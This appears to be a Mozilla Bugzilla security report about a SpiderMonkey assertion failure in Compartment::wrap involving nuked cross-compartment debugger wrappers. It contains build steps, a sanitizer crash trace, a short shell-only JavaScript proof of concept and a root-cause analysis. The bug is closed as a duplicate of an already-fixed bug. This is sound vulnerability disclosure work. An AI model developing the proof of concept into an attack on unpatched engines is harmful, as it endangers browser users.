Closed Bug 2004377 Opened 11 months ago Closed 11 months ago

Assertion failure: obj == cacheResult, at js/src/vm/Compartment-inl.h:105

Categories

(Core :: JavaScript: GC, defect)

defect

Tracking

()

RESOLVED DUPLICATE of bug 2003588

People

(Reporter: sakura, Unassigned)

Details

(Keywords: csectype-uaf, reporter-external, sec-moderate, Whiteboard: [client-bounty-form])

Reproduce

  1. Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox
  2. Run build command in the js/src directory of the firefox checkout:
    mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64
    
  3. Run poc: fuzzbuild_OPT.OBJ/dist/bin/js --fuzzing-safe poc.js

Test SpiderMonkey commit hash: eb5d60087707d1acaf663a8ea2bbf14602e88d2f

Crash Stack Trace

--------------------------------------------------------------------------------
[2926318] Assertion failure: obj == cacheResult, at /home/sakura/gecko-dev/js/src/vm/Compartment-inl.h:105
#01: JS::Compartment::wrap(JSContext*, JS::MutableHandle<JS::Value>)[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1dc514f]
#02: JS::Compartment::wrap(JSContext*, JS::MutableHandle<mozilla::Maybe<JS::PropertyDescriptor> >)[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2079926]
#03: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2875981]
#04: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x222a47b]
#05: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x22b5af1]
#06: ??? (???:???)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==2926318==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x558d94fc5167 bp 0x7ffc824af3b0 sp 0x7ffc824af330 T2926318)
==2926318==The signal is caused by a WRITE memory access.
==2926318==Hint: address points to the zero page.
LLVMSymbolizer: error reading file: No such file or directory
#0 0x558d94fc5167 in MOZ_CrashSequence(void*, long) /home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/include/mozilla/Assertions.h:237:3
#1 0x558d94fc5167 in JS::Compartment::wrap(JSContext*, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/vm/Compartment-inl.h:105:3
#2 0x558d95279925 in JS::Compartment::wrap(JSContext*, JS::MutableHandle<JS::PropertyDescriptor>) /home/sakura/gecko-dev/js/src/vm/Compartment.cpp:430:10
#3 0x558d95279925 in JS::Compartment::wrap(JSContext*, JS::MutableHandle<mozilla::Maybe<JS::PropertyDescriptor> >) /home/sakura/gecko-dev/js/src/vm/Compartment.cpp:444:8
#4 0x558d95a75980 in js::Proxy::getOwnPropertyDescriptor(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::MutableHandle<mozilla::Maybe<JS::PropertyDescriptor> >) /home/sakura/gecko-dev/js/src/proxy/Proxy.cpp:221:19
#5 0x558d9542a47a in js::GetOwnPropertyDescriptor(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::MutableHandle<mozilla::Maybe<JS::PropertyDescriptor> >) /home/sakura/gecko-dev/js/src/vm/JSObject.cpp:2013:15
#6 0x558d954b5af0 in js::GetOwnPropertyDescriptorToArray(JSContext*, unsigned int, JS::Value*) /home/sakura/gecko-dev/js/src/builtin/Object.cpp:1462:8
#7 0x3053c86f63a7  ([anon:js-executable-memory]+0x213a7)

==2926318==Register values:
rax = 0x0000000000000000  rbx = 0x00000000824af301  rcx = 0x0000000000000069  rdx = 0x00007f1d2401b723
rdi = 0x00007f1d2401ca60  rsi = 0x0000000000000000  rbp = 0x00007ffc824af3b0  rsp = 0x00007ffc824af330
r8 = 0x0000000000000000   r9 = 0x0000000000000003  r10 = 0x0000558d975f9c30  r11 = 0x0000000000000293
r12 = 0x00007ffc824af358  r13 = 0x00007f1d23b3c218  r14 = 0x00007f1d213a1b30  r15 = 0x00007ffc824af330
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/include/mozilla/Assertions.h:237:3 in MOZ_CrashSequence(void*, long)
==2926318==ABORTING



================================================================================

PoC

const g = newGlobal({sameZoneAs: this});
const dbg = g.Debugger();
Object.defineProperty(dbg, 'onDebuggerStatement', {value: dbg});
g.nukeAllCCWs();
let cur = dbg;
while (cur && cur !== Object.prototype) {
  for (const name of Object.getOwnPropertyNames(cur)) {
    try {
      Object.getOwnPropertyDescriptor(cur, name);
    } catch (e) {}
  }
  cur = Object.getPrototypeOf(cur);
}
// Flags: --fuzzing-safe

Root Cause

nukeAllCCWs() calls NukeCrossCompartmentWrappers(..., NukeAllReferences) (shell/js.cpp:7578-7584). This routine marks the target realm's nukedIncomingWrappers bit so future CCWs aren't allowed, but it deliberately skips wrappers whose targets are DebuggerInstanceObjects (proxy/CrossCompartmentWrapper.cpp:447-456). As a result, debugger CCWs stay in the wrapper map even though the realm is flagged as "no new wrappers".

Later, the PoC calls Object.getOwnPropertyDescriptor on a debugger object through a proxy, which triggers Proxy::getOwnPropertyDescriptor (proxy/Proxy.cpp:205-224). The descriptor is wrapped to the proxy's compartment via Compartment::wrap(JS::MutableHandle<mozilla::Maybe<PropertyDescriptor>>) (vm/Compartment.cpp:346-366). Inside Compartment::wrap(JS::MutableHandleValue) (vm/Compartment-inl.h:87-105), the wrapper map still contains the old debugger CCW, so lookupWrapper returns it and debug builds store it in cacheResult.

Immediately afterward, Compartment::getNonWrapperObjectForCurrentCompartment checks AllowNewWrapper (vm/Compartment.cpp:214-244). Because the debugger realm has nukedIncomingWrappers set, AllowNewWrapper returns false (proxy/CrossCompartmentWrapper.cpp:475-487), replacing the value with a freshly created dead proxy (Compartment.cpp:239-244). This discards the cached debugger wrapper even though it still lives in the wrapper map.

When control returns to Compartment::wrap(JS::MutableHandleValue), the final assertion MOZ_ASSERT_IF(cacheResult, obj == cacheResult) (vm/Compartment-inl.h:105) fires: cacheResult points at the old debugger CCW, but obj was overwritten with a dead proxy due to the "no new wrapper" policy.

Flags: sec-bounty?
Group: firefox-core-security → javascript-core-security
Component: Security → JavaScript: GC
Product: Firefox → Core

Looks like a possible dupe of bug 2003588.

Flags: needinfo?(jcoppeard)

I confirmed this was fixed by bug 2003588.

Status: NEW → RESOLVED
Closed: 11 months ago
Duplicate of bug: CVE-2026-0884
Flags: needinfo?(jcoppeard)
Resolution: --- → DUPLICATE
Group: javascript-core-security → core-security-release

We are awarding a bounty for this bug, split with the author of colliding bug 2003588

Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.